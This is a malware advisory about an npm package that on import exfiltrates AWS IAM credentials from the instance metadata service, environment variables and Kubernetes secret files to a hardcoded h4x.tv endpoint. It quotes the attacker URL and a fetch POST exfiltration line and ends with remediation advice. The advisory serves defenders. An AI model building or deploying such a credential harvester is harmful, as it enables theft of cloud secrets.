@hrmony/benefitverwaltungnpm

On top-level import, the package's main module POSTs an initial identifying beacon (body {"c53":"hello"}) to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung, then performs three concrete harvest steps and exfiltrates each to the same host: (1) an IMDSv2 request flow against 169.254.169.254 that reads instance identity, enumerates IAM role names under /iam/security-credentials/, and fetches the temporary AWS access key ID, secret access key, and session token for each role; (2) a full enumeration of process.env via Object.entries(process.env) into an envs object; (3) a recursive read of /var/run/secrets/ collecting Kubernetes-mounted service-account tokens and secret files. The collected data is sent via fetch(EXPORTER_URL, {method: 'POST', body: JSON.stringify(...)}). The destination domain h4x.tv is not associated with the @hrmony scope or any legitimate benefit-administration service. The package also declares a runtime dependency on @hrmony/kit-5 ^1.0.0 within its own scope while shipping only exfiltration code as its main, consistent with a dependency-confusion lure targeting an internal @hrmony namespace.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.